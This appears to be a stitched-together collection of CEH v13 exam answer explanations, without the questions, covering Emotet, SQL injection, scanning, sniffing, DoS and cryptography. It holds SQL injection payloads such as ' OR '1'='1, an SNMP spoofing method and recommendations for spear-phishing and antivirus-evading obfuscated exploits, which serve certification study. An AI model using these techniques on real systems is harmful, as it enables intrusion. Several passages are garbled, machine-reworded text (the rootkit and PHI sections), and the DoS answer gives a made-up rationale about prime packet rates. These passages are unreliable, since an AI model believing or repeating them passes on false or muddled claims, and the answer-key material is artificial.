Currently, Emotet uses five known spreader modules: NetPass.exe, WebBrowserPassView, Mail PassView, Outlook scraper, and a credential enumerator. Credential enumerator is a self-extracting RAR file containing two components: a bypass component and a service component. The bypass component is used for the enumeration of network resources and either finds writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients).

CEH v13 explains that cryptographic consistency is essential for secure session management. Variable token lengths can leak information about encryption methods, key sizes, or user privilege levels, making sessions vulnerable to cryptanalysis or targeted attacks.

The most effective mitigation is implementing uniform encryption strength across all roles, ensuring consistent key sizes, algorithms, and token formats. While MFA improves authentication and key rotation improves lifecycle management, neither directly resolves cryptographic inconsistency.

CEH v13 stresses that encryption should be role-agnostic and standardized. Therefore, Option C is correct.

According to the Certified Ethical Hacker (CEH) Reconnaissance and Footprinting module, DNS cache snooping is a passive information-gathering technique used to determine whether a specific DNS record exists in a server’s cache. Attackers commonly use the dig +norecurse option to prevent the DNS server from querying other DNS servers, thereby revealing only cached results.

When a DNS server responds with NOERROR but does not return an answer, it indicates that the domain name itself is valid, but the requested record is not present in the DNS cache. CEH documentation explains that this situation usually occurs when no internal client has recently queried that domain, so the DNS server has no cached entry for it.

Option A is incorrect because a cached record would return a valid answer section.

Option B is incorrect because NOERROR explicitly means the DNS query was processed successfully.

Option D is incorrect because an expired or non-existent domain would typically return NXDOMAIN, not NOERROR.

CEH materials highlight that attackers use DNS cache snooping to infer user behavior, internal browsing habits, and potential target systems within an organization—making option C the correct conclusion.

CEH v13 identifies spear-phishing as one of the most effective and targeted social engineering methods. It involves crafting highly personalized messages that reference real events, internal processes, or upcoming activities to build credibility and reduce suspicion. In this scenario, referencing board meetings—an event executive assistants frequently handle—creates a believable and urgent context for the request. CEH emphasizes that personalization significantly increases success rates because recipients perceive the sender as someone with legitimate access to internal information. A phone call impersonating IT support (Option B) is less convincing for retrieving agenda access-specific credentials. Mass phishing (Option C) lacks personalization and is easily flagged. LinkedIn social engineering (Option D) is long-term and less effective for obtaining immediate credentials. Therefore, a tailored spear-phishing email is the most effective approach.

https://www.cisco.com/c/en/us/support/docs/ip/access-lists/26448-ACLsamples.html

Since the first line prohibits any TCP traffic (access-list 102 deny tcp any any), the lines below will simply be ignored by the router. Below you will find the example from CISCO documentation.

This figure shows that FTP (TCP, port 21) and FTP data (port 20) traffic sourced from NetB destined to NetA is denied, while all other IP traffic is permitted.

FTP uses port 21 and port 20. TCP traffic destined to port 21 and port 20 is denied and everything else is explicitly permitted.

access-list 102 deny tcp any any eq ftp

access-list 102 deny tcp any any eq ftp-data

access-list 102 permit ip any any

The longer an adversary has this level of access, the greater the impact. Defenders must detect this stage as quickly as possible and deploy tools which can enable them to gather forensic evidence. One example would come with network packet captures, for damage assessment. Only now, after progressing through the primary six phases, can intruders take actions to realize their original objectives. Typically, the target of knowledge exfiltration involves collecting, encrypting and extracting information from the victim(s) environment; violations of knowledge integrity or availability are potential objectives also . Alternatively, and most ordinarily , the intruder may only desire access to the initial victim box to be used as a hop point to compromise additional systems and move laterally inside the network. Once this stage is identified within an environment, the implementation of prepared reaction plans must be initiated. At a minimum, the plan should include a comprehensive communication plan, detailed evidence must be elevated to the very best ranking official or board , the deployment of end-point security tools to dam data loss and preparation for briefing a CIRT Team. Having these resources well established beforehand may be a “MUST” in today’s quickly evolving landscape of cybersecurity threats

In CEH v13 Module 04: Enumeration and Module 06: Malware Threats, when investigating Command-and-Control (C2) communication, it is important to determine whether the communication actually occurred and what data was sent.

C. Internet Firewall/Proxy log

Best source to confirm outbound connections to external IPs.

Proxy logs show which internal host made the connection, the timestamp, and sometimes even URL and payload.

Firewalls can indicate port usage, traffic volume, and connection duration.

This data gives a direct view of how severe the incident is, whether data exfiltration occurred, and which internal system is affected.

Why Other Options Are Less Effective Initially:

A. IDS Log: Only tells you that an alert was generated. May be false positive or triggered by a failed connection.

B. Event logs on Domain Controller: Useful for user account behavior, but not for network connections.

D. Event logs on the PC: May lack detail or be tampered with by malware.

In CEH v13 Module 03: Scanning Networks, banner grabbing is defined as a technique used during reconnaissance to capture service banners that provide information about:

Web server version

Operating system

Service details

In This Case:

The engineer used Netcat to connect to port 80 (HTTP).

The response reveals the web server software (Microsoft-IIS/6), which is typical of a banner returned in the server's HTTP response headers.

This technique helps identify vulnerable versions of services.

Other Options:

B. SQL injection: Involves sending SQL payloads — unrelated here.

C. Whois query: Provides domain registration info — unrelated.

D. Cross-site scripting: Requires injecting scripts into a web app — not relevant here.

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According to the Certified Ethical Hacker (CEH) IoT, OT, and SCADA Security module, side-channel attacks exploit indirect information leaks such as power consumption, electromagnetic emissions, timing variations, or thermal output rather than software vulnerabilities.

Option A is correct because monitoring hardware-level anomalies is the primary method for detecting side-channel exploitation. CEH materials emphasize that these attacks bypass traditional security controls.

Option B relates to cryptographic weaknesses, not side-channel analysis.

Option C addresses interface misuse, not covert data leakage.

CEH highlights that SCADA systems are especially vulnerable due to legacy hardware and limited monitoring capabilities.

The described scenario is a textbook example of a Man-in-the-Middle (MITM) attack. In such attacks, the attacker stealthily places themselves between two communicating systems, intercepts their communications, and may even modify the traffic. The communicating parties remain unaware that their traffic is being monitored or altered.

Eric is using the Dsniff toolset, which is well-known for enabling MITM attacks through techniques such as:

ARP spoofing (to redirect traffic)

Credential sniffing

Packet manipulation

From CEH v13 Official Courseware:

Module 8: Sniffing

Module 11: Session Hijacking

CEH v13 Study Guide states:

“In a man-in-the-middle (MITM) attack, the attacker intercepts and potentially alters the communication between two systems without either party knowing. Tools like Dsniff, Cain & Abel, and Ettercap are commonly used to launch such attacks.”

Incorrect Options:

A: “Interceptor” is not a technical term in cybersecurity.

C: ARP Proxy is a network feature; while ARP spoofing can be part of a MITM attack, it’s not the attack classification itself.

D: Poisoning (like DNS or ARP poisoning) is often a technique used to initiate MITM but not the final classification.

Lock-in reflects the inability of the client to migrate from one CSP to another or in-house systems owing to the lack of tools, procedures, standard data formats, applications, and service portability. This threat is related to the inappropriate selection of a CSP, incomplete and non-transparent terms of use, lack of standard mechanisms, etc. (P.2884/2868)

According to CEH v13 Mobile, IoT, and OT Hacking, Advanced Persistent Threat (APT) groups prioritize stealth, persistence, and long-term control. In IoT environments, the most attractive and effective entry point is firmware-level zero-day vulnerabilities.

IoT devices often:

Run outdated or proprietary firmware

Lack regular patching mechanisms

Operate with high privileges

Have minimal monitoring

Exploiting a zero-day vulnerability in firmware allows attackers to gain deep, persistent access that survives reboots and avoids traditional security controls. This aligns directly with APT objectives.

Credential theft (Option B) is common but less reliable for IoT systems. Encrypted MitM (Option C) is complex and less persistent. DDoS (Option D) disrupts services but does not provide control.

CEH v13 explicitly identifies firmware exploitation as the primary APT vector in IoT and OT environments. Therefore, Option A is correct.

DHCP starvation is a network-level attack in which an attacker sends a massive number of DHCPDISCOVER requests, each appearing to originate from a different MAC address. CEH courseware explains that DHCP servers assign IP leases based on unique MAC addresses, and when the lease pool is exhausted, legitimate clients are unable to obtain valid IP configurations. This disrupts network connectivity and can serve as a precursor to deploying a rogue DHCP server, enabling further attacks such as traffic redirection or credential interception. DHCP starvation is different from ARP spoofing, which manipulates MAC–IP mappings, or DNS poisoning, which corrupts domain resolution. Rogue DHCP relay attacks involve forwarding DHCP packets to unauthorized servers, not depleting leases. The scenario described—rapid MAC address spoofing and exhaustion of DHCP leases—matches the precise definition of DHCP starvation as documented in CEH materials.

In CEH v13 Module 06: Malware Threats, the Cyber Kill Chain is broken down into its seven stages:

Reconnaissance

Weaponization

Delivery

Exploitation

Installation

Command & Control

Actions on Objectives

Step 3 – Delivery:

Refers to the transmission of the malicious payload to the victim.

Can occur through email, web downloads, USB drives, etc.

Correct Example:

A. “An intruder sends a malicious attachment via email to a target” — This is delivery.

Other Options:

B. Weaponization

C. Exploitation

D. Installation

Comprehensive and Detailed Explanation:

The “weakest link” in cybersecurity is almost always the human element. Even with cutting-edge technology and airtight configurations, untrained or careless users can fall for phishing attacks, use weak passwords, or mishandle sensitive data — giving hackers a path into the system.

From CEH v13 Courseware:

Module 7: Social Engineering

Topic: Human Element in Security Breaches

Without documented approval, the firewall rule could represent an unauthorized change or security risk. Rolling it back until proper change control processes are followed is consistent with best practices in security governance.

CEH v13 Reference:

Module 1: Introduction to Ethical Hacking

"Unauthorized changes to security devices should be immediately reviewed and reverted until formal approval is obtained."

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CEH incident response material explains that LLMNR and NBT-NS poisoning is a common credential-harvesting technique in internal networks. These legacy name-resolution protocols operate via broadcast queries. Attackers can listen for these broadcasts and respond faster than legitimate DNS/hosts entries, impersonating the requested resource. Once the victim system attempts to authenticate, it sends NTLM hashes to the attacker-controlled machine. Tools like Responder and Inveigh automate this process, enabling attackers to collect challenge-response hashes for offline cracking. CEH highlights that this method is passive from the victim’s viewpoint and difficult to detect unless monitoring tools watch for anomalous LLMNR/NBT-NS responses. Options A, B, and D refer to other components of password cracking, but none describe the mechanism of capturing hashes via poisoned name resolution. The attacker’s technique directly aligns with exploiting the name-resolution protocol to intercept authentication attempts.

In a Windows system, a Security Identifier (SID) uniquely identifies each user and group. The SID format is:

S-1-5-21--

The Relative Identifier (RID) is the last component in the SID string.

According to Microsoft and CEH v13:

RID 500 → Built-in Administrator account

RID 501 → Guest account

RIDs > 1000 → Regular user accounts

In the given image, the SID:

s-1-5-21-1125394485-807628933-54978560-500chang

has a RID of 500, indicating the built-in administrator account.

From CEH v13:

Module 4: Enumeration

Topic: SID Enumeration

CEH v13 States:

“When enumerating Windows systems, the account with RID 500 is always the default Administrator account, unless renamed. Attackers often target this account due to its elevated privileges.”

Incorrect Options:

All others have RIDs not equal to 500 (e.g., 100, 652, 412, etc.)

SQL injection testing commonly involves using tautology-based payloads such as 1 OR 1=1, which force SQL queries to evaluate as true. CEH explains that this confirms improper input sanitization and exposes whether user-supplied fields directly influence database queries. The result often returns all records, indicating successful injection.

In CEH v13 Module 06: Malware Threats, a worm is described as a self-replicating piece of malware that spreads independently from one system to another without needing to attach itself to any file or program (unlike viruses).

Key Characteristics of Worms:

Capable of network propagation without human interaction.

Often used in mass attacks (e.g., WannaCry, Conficker).

Can cause significant damage by:

Consuming bandwidth.

Spreading payloads (e.g., ransomware).

Modifying or deleting files.

Option Clarification:

A. Rootkit: Hides presence of malware or attacker activities.

B. Trojan: Disguised as legitimate software; does not replicate.

C. Worm: Correct – self-replicating and spreads automatically.

D. Adware: Primarily shows ads; not typically destructive or self-replicating.

tcptrace is a command-line tool used to analyze the output of packet-capture tools such as tcpdump and Wireshark. It processes the captured data and generates detailed reports on TCP connections including connection durations, round-trip times, throughput, and more.

📘 Reference – CEH v13 Study Guide, Module 10: Sniffing

“tcptrace reads in packet trace files and outputs information about each TCP connection seen.”

❌ Incorrect options:

B. Nessus is a vulnerability scanner.

C. OpenVAS is also a vulnerability assessment tool.

D. tcptraceroute is used to trace the path of packets at the TCP level, not for analyzing captured data.

Restrict results to those of a certain filetype. E.g., PDF, DOCX, TXT, PPT, etc. Note: The “ext:” operator can also be used—the results are identical.

Example: apple filetype:pdf / apple ext:pdf

Passive reconnaissance focuses on collecting intelligence without interacting with the target's systems. CEH materials emphasize reviewing publicly available information, including leaked documents, breach data, reports, or exposed metadata, as this yields internal network structure details while generating no detectable traffic. This method avoids triggering monitoring systems and aligns with stealth requirements for covert intelligence gathering.

HTTP cookies may store authentication tokens, allowing users to remain logged in. If a browser retains cookies after closing, an attacker with access to the device could hijack active sessions.

Automatically deleting cookies upon termination reduces the window of opportunity for session hijacking.

Reference – CEH v13 Official Study Guide:

Module 11: Hacking Web Applications

Topic: Session Management

Quote:

“Session hijacking exploits persistent cookies or session IDs stored in browsers. Enforcing cookie deletion helps prevent this attack.”

Incorrect Options:

A. SQL databases are unrelated to browser cookies.

C. Browser cookies don’t store OS-level passwords.

D. This may be a secondary concern, but not the primary mitigation.

=

In CEH v13 Module 03: Scanning Networks, stealth scanning refers to a method of scanning that avoids detection by not completing the TCP handshake.

-sS = TCP SYN scan (Stealth scan)

Sends SYN packet.

If SYN-ACK is returned, the port is open; then a RST is sent back instead of completing handshake.

Harder to detect via IDS/IPS.

Option Analysis:

A. -sM: TCP Maimon scan (rarely used).

B. -sU: UDP scan.

C. -sS: Stealth SYN scan.

D. -sT: TCP Connect scan (not stealthy).

Comprehensive and Detailed Explanation:

Tshark is the command-line version of Wireshark. The correct syntax for filtering packets from a subnet:

sudo tshark -f "net 192.168.8.0/24"

This captures only the traffic from that IP range. It’s ideal for cron jobs and automated monitoring.

From CEH v13 Courseware:

Module 8: Sniffing → Tshark and Wireshark Usage

Passive sniffing refers to listening to or capturing network traffic without sending any packets or altering the communication stream. The attacker’s system operates in "promiscuous mode" to monitor all traffic flowing through the network segment. This technique is mostly used in environments like hub-based or unencrypted Wi-Fi networks, where traffic is visible to all systems.

According to the CEH v13 Official Courseware, Module 08: Sniffing, under the subsection "Passive Sniffing", the following capabilities are associated with passive sniffing:

Capturing unencrypted credentials (usernames and passwords)

Identifying protocols, services, IP addresses, and hostnames

Monitoring HTTP sessions, cookies, and other clear-text traffic

Gathering detailed information for fingerprinting and enumeration

Exporting traffic to PCAPs for forensic and offline analysis

However, passive sniffing does not involve any active interference with the traffic. Therefore, actions like “modifying and replaying” packets require an attacker to craft and inject packets into the network — this is considered active sniffing or traffic manipulation, which is out of scope for passive techniques.

Thus:

Option A: Valid for passive sniffing (host discovery via captured traffic)

Option B: Invalid for passive sniffing (requires active traffic manipulation)

Option C: Valid (if data is unencrypted)

Option D: Valid (captures traffic for offline review)

Reference – CEH v13 Official Courseware:

Module 08: Sniffing

Section: “Passive Sniffing vs Active Sniffing”

Study Guide Pages: Usually found under “Types of Sniffing Techniques”

CEH iLabs/Engage Scenarios: Packet capture and Wireshark lab modules

This scenario describes Differential Cryptanalysis, a powerful cryptanalytic technique covered in CEH v13 Cryptography. Differential cryptanalysis focuses on analyzing how small changes in plaintext input affect the resulting ciphertext output, with the goal of uncovering patterns related to the secret encryption key.

CEH v13 explains that symmetric algorithms rely on complex transformations—such as substitution and permutation—to obscure relationships between plaintext and ciphertext. However, in some algorithms, predictable differences may propagate through encryption rounds in a way that reveals statistical biases. By carefully selecting pairs of plaintext inputs with controlled differences and comparing the resulting ciphertexts, attackers can infer information about intermediate states and eventually the encryption key.

This method does not attempt every possible key (brute force), nor does it rely on execution timing or system performance metrics (timing attacks). It also differs from chosen-ciphertext attacks, which involve submitting chosen ciphertexts for decryption rather than observing encryption behavior.

Differential cryptanalysis was instrumental in breaking early block ciphers and is a key reason why modern algorithms like AES are designed with resistance to differential attacks. CEH v13 emphasizes that understanding this attack is critical for evaluating the strength of symmetric encryption algorithms and their internal structure.

Therefore, Option A accurately describes the technique being employed.

Kernel-mode rootkits run with the best operating system privileges (Ring 0) by adding code or replacement parts of the core operating system, as well as each the kernel and associated device drivers. Most operative systems support kernel-mode device drivers, that execute with a similar privileges because the software itself. As such, several kernel-mode rootkits square measure developed as device drivers or loadable modules, like loadable kernel modules in Linux or device drivers in Microsoft Windows. This category of rootkit has unrestricted security access, however is tougher to jot down. The quality makes bugs common, and any bugs in code operative at the kernel level could seriously impact system stability, resulting in discovery of the rootkit. one amongst the primary wide familiar kernel rootkits was developed for Windows NT four.0 and discharged in Phrack magazine in 1999 by Greg Hoglund. Kernel rootkits is particularly tough to observe and take away as a result of they operate at a similar security level because the software itself, and square measure therefore able to intercept or subvert the foremost sure software operations. Any package, like antivirus package, running on the compromised system is equally vulnerable. during this scenario, no a part of the system is sure.

CEH methodology stresses prioritization based on risk, exploitability, and business impact. High-severity vulnerabilities—especially those related to outdated or unsupported server software—are frequently associated with known, publicly documented exploits. The proper next step after identifying such vulnerabilities is to confirm exploitability safely, typically by researching available exploit code, validating version-specific weaknesses, and determining whether the vulnerability can be successfully leveraged under the defined scope of engagement. CEH highlights that exploitation attempts must be evidence-driven, not arbitrary, and focusing on high-risk vulnerabilities allows testers to demonstrate meaningful security impacts. Brute-forcing (Option A) is unnecessary and high-noise. Ignoring or deprioritizing the high-risk finding (Options B and C) contradicts CEH risk-based assessment principles. Therefore, verifying exploitability of the high-risk vulnerability is the correct step.

The phrase "testing the network using the same methodologies and tools employed by attackers" precisely describes Penetration Testing.

Penetration testing involves:

Simulating real-world attacks.

Using tools and techniques similar to those used by malicious hackers.

Actively exploiting vulnerabilities to assess the security posture of systems.

From CEH v13 Courseware:

Module 1: Introduction to Ethical Hacking

Module 5: Vulnerability Assessment vs. Penetration Testing

CEH v13 Study Guide states:

“Penetration testing is a simulated cyberattack against your system to check for exploitable vulnerabilities. It uses the same tools, techniques, and processes as attackers to find and validate security weaknesses.”

Incorrect Options:

A. Vulnerability Scanning: Only identifies potential issues; it doesn’t attempt to exploit them.

C. Security Policy Implementation: Refers to governance and documentation, not testing.

D. Designing Network Security: Refers to planning a secure architecture.

Snort is an open-source Network Intrusion Detection and Prevention System (NIDS/NIPS) capable of real-time traffic analysis and packet logging. It functions as a sniffer and can detect various forms of attacks using signature-based rules.

CEH v13 Reference:

Module 10: Evading IDS, Firewalls, and Honeypots

"Snort can operate as a sniffer, logger, or full NIDS capable of real-time traffic analysis."

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In CEH v13 Mobile, IoT, and OT Hacking, firmware-level attacks on Programmable Logic Controllers (PLCs) are categorized as high-impact and stealth-oriented threats, often designed to evade traditional network-based defenses. Malicious firmware compromises the integrity of the device itself, allowing attackers persistent and covert control over industrial processes.

The first and most critical step is to verify the integrity of the firmware and software running on the PLCs. CEH v13 emphasizes that before containment or mitigation actions are applied, accurate identification and confirmation of compromise must occur. Firmware inspection enables analysts to detect unauthorized code injections, modified logic blocks, altered checksums, or tampered boot loaders—hallmarks of OT malware such as Stuxnet-like attacks.

Immediate isolation (Option A) may be necessary later, but premature isolation can disrupt industrial operations and destroy volatile forensic evidence. IDS enhancements (Option C) focus on traffic patterns and are ineffective against firmware-resident malware. Restricting remote access (Option D) is preventative but does not validate or remove an existing firmware compromise.

CEH v13 stresses that OT environments require forensic verification at the device level, especially when abnormal behavior originates from controllers themselves. Firmware validation using vendor-approved tools and hash verification is the correct first step to confirm compromise and plan remediation without risking operational safety.

In CEH v13 Module 11: Hacking Wireless Networks, WPS (Wi-Fi Protected Setup) is discussed as a vulnerable configuration that can be exploited using tools like Reaver and wash.

wash is a command-line utility used to detect WPS-enabled Access Points.

It provides information about:

Whether WPS is enabled or locked.

Signal strength, BSSID, channel, etc.

Very useful before attempting WPS PIN attacks.

Option Clarifications:

B. ntptrace: Used for querying NTP servers, not wireless networks.

C. macof: Part of dsniff suite; floods network with MAC addresses (DoS tool).

D. net view: Windows command for listing network shares, not for wireless or WPS.

Correct answer is A. wash.

The CEH Web Application Attacks module explains tautology-based SQL injection as an attack where input alters a conditional statement to always evaluate as TRUE (e.g., ' OR '1'='1').

Submitting a single quote often breaks query logic and allows attackers to manipulate authentication conditions.

Option D is correct.

Option A extracts data.

Option B relies on error messages.

Option C uses timing delays.

CEH identifies tautology attacks as one of the earliest and most common SQL injection techniques.

In CEH v13 Cloud Computing, multi-tenancy is a core cloud characteristic—but also a major risk if isolation controls are weak. When one tenant’s actions affect others, the issue is almost always insufficient isolation between tenants.

Multi-tenant isolation ensures that compute, storage, memory, and network resources are strictly separated. Without proper isolation, a malicious tenant can:

Exhaust shared resources

Access neighboring virtual machines

Damage the provider’s reputation

Encryption and authentication protect data access but do not stop cross-tenant impact. Logging helps detect incidents but does not prevent them.

CEH v13 emphasizes strong logical isolation mechanisms—such as hypervisor hardening and tenant segmentation—as essential cloud security controls. Therefore, Option C is the correct answer.

The CEH Web Application Security module explains that race conditions occur when systems improperly handle simultaneous requests, leading to unexpected behavior. In token-based authentication systems, poor synchronization between token expiration checks and validation logic can allow attackers to exploit timing gaps.

The observed pattern—failed attempts with expired tokens followed by successful access—suggests the attacker exploited a race condition where the application inconsistently validated token state.

Option C is correct.

Option A would not involve expired tokens.

Option B is highly impractical given secure token entropy.

Option D typically succeeds without repeated failures.

CEH highlights race conditions as subtle but dangerous logic flaws.

The Certified Ethical Hacker (CEH) Cryptography module explains that one of the primary challenges in encryption is secure key distribution. Asymmetric encryption, also known as public-key cryptography, was specifically designed to address this issue.

In asymmetric encryption, each entity possesses a public key and a private key. The public key can be shared openly, allowing anyone to encrypt data securely, while only the corresponding private key can decrypt it. CEH documentation highlights that this model eliminates the need to transmit secret keys over insecure channels.

Option D is correct because asymmetric encryption enables secure key exchange without prior trust.

Option B (symmetric encryption) requires a shared secret key and suffers from key distribution challenges.

Option A refers to data-at-rest protection, not key exchange.

Option C provides integrity verification, not encryption.

CEH emphasizes that asymmetric encryption underpins secure protocols such as TLS and digital certificates.

Comprehensive and Detailed Explanation:

A rubber-hose attack refers to extracting cryptographic secrets by means of physical coercion, threats, or torture, rather than technical attacks on the algorithm or implementation.

From CEH v13 Official Study Guide:

Module 10: Cryptography → Types of Attacks

“A rubber-hose attack bypasses technical security by attacking the human element.”

Types of Vulnerability Assessment - External Assessment External assessment examines the network from a hacker’s point of view to identify exploits and vulnerabilities accessible to the outside world. These types of assessments use external devices such as firewalls, routers, and servers. An external assessment estimates the threat of network security attacks from outside the organization. It determines the level of security of the external network and firewall. (P.527/511)

External assessment examines the network from a hacker’s point of view to identify exploits and vulnerabilities accessible to the outside world. These types of assessments use external devices such as firewalls, routers, and servers. An external assessment estimates the threat of network security attacks from outside the organization. It determines the level of security of the external network and firewall.

The following are some of the possible steps in performing an external assessment:

o Determine a set of rules for firewall and router configurations for the external network

o Check whether the external server devices and network devices are mapped o Identify open ports and related services on the external network o Examine the patch levels on the server and external network devices o Review detection systems such as IDS, firewalls, and application-layer protection systems

o Get information on DNS zones

o Scan the external network through a variety of proprietary tools available on the Internet

o Examine Web applications such as e-commerce and shopping cart software for vulnerabilities

A Denial of Service (DoS) attack is a type of cyberattack that aims to make a machine or network resource unavailable to its intended users by flooding it with traffic or requests that consume its resources. A TCP SYN flood attack is a type of DoS attack that exploits the TCP handshake process by sending a large number of SYN requests to the target server, without completing the connection. A UDP flood attack is a type of DoS attack that sends a large number of UDP packets to random ports on the target server, forcing it to check for the application listening at that port and reply with an ICMP packet. An ICMP flood attack is a type of DoS attack that sends a large number of ICMP packets, such as ping requests, to the target server, overwhelming its ICMP processing capacity.

The attacker’s strategy involves a unique mixture of TCP SYN, UDP, and ICMP floods, using ‘r’ packets per second. The server can handle ‘h’ packets per second before it starts showing signs of strain. If ‘r’ surpasses ‘h’, it overwhelms the server, causing it to become unresponsive. The attacker selects ‘r’ as a composite number and ‘h’ as a prime number, making the attack detection more challenging. This is because prime numbers are less predictable and more difficult to factorize than composite numbers, which may hinder the analysis of the attack pattern.

Considering ‘r=2010’ and different values for ‘h’, the scenario that would potentially cause the server to falter is the one where ‘h=1987’ (prime). This is because ‘r’ is greater than ‘h’ by 23 packets per second, which means the server cannot handle the incoming traffic and will eventually run out of resources. The other scenarios would not cause the server to falter, as ‘h’ is either greater than or very close to ‘r’, which means the server can either manage or barely cope with the incoming traffic. References:

What is a denial-of-service (DoS) attack? | Cloudflare

Denial-of-Service (DoS) Attack: Examples and Common Targets - Investopedia

DDoS Attack Types: Glossary of Terms

What is a Denial of Service (DoS) Attack? | Webopedia

In CEH v13 Module 11: Hacking Wireless Networks, it is explained that disabling SSID broadcast only hides the SSID from casual scanning, not from determined attackers.

When a legitimate client connects to a hidden SSID, the SSID is included in the probe request and association packets, which can be easily sniffed using tools like Wireshark or Kismet.

Leaving authentication open adds no real protection.

Attackers can still capture traffic and use it to determine the SSID and connect to the access point.

This is a classic phishing scam — a form of social engineering used to trick victims into giving up sensitive information.

Statement D is incorrect because:

Antivirus, anti-spyware, and firewalls are primarily designed to stop malware and network intrusions.

They cannot reliably detect social engineering attacks like phishing emails, especially if the email content appears legitimate.

Detection of phishing is more reliant on user awareness and email filtering policies.

From CEH v13 Courseware:

Module 7: Social Engineering

Module 5: Email Security

CEH v13 Study Guide states:

“Phishing attacks are psychological rather than purely technical. Antivirus tools cannot detect or prevent all phishing attempts because these are based on user manipulation rather than system compromise.”

If SNMP access is restricted to specific IP addresses (e.g., 192.168.1.0/24), you can bypass access controls by:

Spoofing the source IP to fall within that allowed range.

Using a SNMP set request to instruct the device (e.g., to copy its configuration to a TFTP server).

This is a classic SNMP spoofing attack.

From CEH v13 Courseware:

Module 4: Enumeration → SNMP Enumeration Attacks

GINA stands for Graphical Identification and Authentication. It is a Windows component (a DLL) that provides the user interface for logging into a Windows system.

Located in msgina.dll (in legacy Windows)

Handles the Ctrl+Alt+Del screen

Collects credentials (username/password) and passes them to the Local Security Authority (LSA)

From CEH v13 Courseware:

Module 6: Malware Threats

Module 4: Windows Authentication Internals

CEH v13 Study Guide states:

“The Graphical Identification and Authentication (GINA) is a DLL that implements the authentication UI for Windows systems. Malicious actors can create custom GINA DLLs to capture login credentials.”

In CEH v13 Module 10 & 12: Vulnerability Analysis and Web Hacking, Netsparker is introduced as a leading automated web vulnerability scanner capable of detecting:

SQL Injection

Cross-site Scripting (XSS)

Local File Inclusion (LFI)

Misconfigured services

Authentication issues

It performs:

Crawling, attack simulation, and detailed reporting.

Ideal for automated assessment of web servers and applications.

Option Clarification:

A. Infoga: Email information gathering tool.

B. WebCopier Pro: Used for offline website downloading.

C. Netsparker: Purpose-built web vulnerability scanner.

D. NCollector Studio: Website archiving tool, not vulnerability-focused.

These types of attacks occur when faults or glitches are INJECTED into the Power supply that can be used for remote execution.

According to CEH v13 Network Scanning Techniques, a FIN scan is a stealth scanning method that sends TCP packets with only the FIN flag set. Its behavior relies on RFC 793, which specifies that closed ports must respond with a TCP RST, while open ports should silently drop the packet.

However, modern firewalls, IDS/IPS systems, and hardened TCP/IP stacks often filter or silently drop FIN packets regardless of port state. Therefore, when a FIN scan results in no response from a large number of ports, it does not conclusively indicate that the ports are open. Instead, CEH v13 stresses that this behavior commonly points to packet filtering by firewalls or security controls.

Option A is incorrect because a lack of response does not definitively mean ports are closed. Option B is an overreaction; stealth scan anomalies alone do not indicate a breach. Option C is unlikely because congestion would impact multiple protocols, not selectively suppress FIN responses.

CEH v13 recommends that when FIN scans produce ambiguous results, analysts should correlate findings using additional scan types (such as SYN scans) and investigate firewall rules and filtering behavior. Thus, option D is the most accurate interpretation and aligns with CEH guidance.

Tautology-based SQL injection tests, such as using ' OR '1'='1, are safe and effective methods to verify whether SQL queries are being manipulated by user input. CEH emphasizes avoiding destructive queries and using logical expressions that return all rows if injection is successful.

Infoga may be a tool gathering email accounts informations (ip,hostname,country,…) from completely different public supply (search engines, pgp key servers and shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or just to know the visibility of your company within the net.

Hashing algorithms are specifically designed to ensure data integrity. A hash function takes an input and returns a fixed-length string, called a hash or message digest. Even a small change in the input results in a completely different hash, making it useful for detecting tampering.

Common hashing algorithms include:

MD5 (now obsolete for secure uses)

SHA-1, SHA-2, SHA-3

HMAC (Hashed Message Authentication Code)

From CEH v13 Courseware:

Module 20: Cryptography

Topic: Hash Functions and Data Integrity

CEH v13 Study Guide states:

“Hashing algorithms provide integrity by generating a unique digital fingerprint of data. Any alteration in the message content will result in a different hash value, indicating that the integrity has been compromised.”

Incorrect Options:

A: Symmetric algorithms provide confidentiality.

B: Asymmetric algorithms provide confidentiality and authentication.

D: "Integrity algorithms" is not a formal cryptographic term.

PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that’s used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.

It is not only past and current medical info that’s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.

Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver’s license numbers, insurance details, and birth dates, once they square measure connected with health info.

The eighteen identifiers that create health info letter are:

Names

Dates, except year

phonephone numbers

Geographic information

FAX numbers

Social Security numbers

Email addresses

case history numbers

Account numbers

Health arrange beneficiary numbers

Certificate/license numbers

Vehicle identifiers and serial numbers together with license plates

Web URLs

Device identifiers and serial numbers

net protocol addresses

Full face photos and comparable pictures

Biometric identifiers (i.e. retinal scan, fingerprints)

Any distinctive identifying variety or code

One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data. HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA Security Rule.

https://support.riverbed.com/content/support/software/steelcentral-npm/airpcap.html

Since this question refers specifically to analyzing a wireless network, it is obvious that we need an option with AirPcap (Riverbed AirPcap USB-based adapters capture 802.11 wireless traffic for analysis). Since it works with two traffic analyzers SteelCentral Packet Analyzer (Cascade Pilot) or Wireshark, the correct option would be "Wireshark with Airpcap."

NOTE: AirPcap adapters no longer available for sale effective January 1, 2018, but a question on this topic may occur on your exam.

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CEH v13 explains that mobile antivirus solutions rely heavily on signatures and known exploit patterns. A custom exploit using obfuscation is far more likely to evade detection.

Metasploit payloads and rootkits are commonly flagged, and SMS phishing relies on user interaction. Therefore, custom obfuscated exploit code is the most stealthy and effective method.

In CEH v13 Module 13: Hacking Web Applications, Server-Side Includes (SSI) is defined as a method for dynamically generating web content through directives embedded in HTML files.

stm File Extension:

Associated with Server Side Includes (SSI).

Files like .stm, .shtml, and .shtm can embed server-side directives.

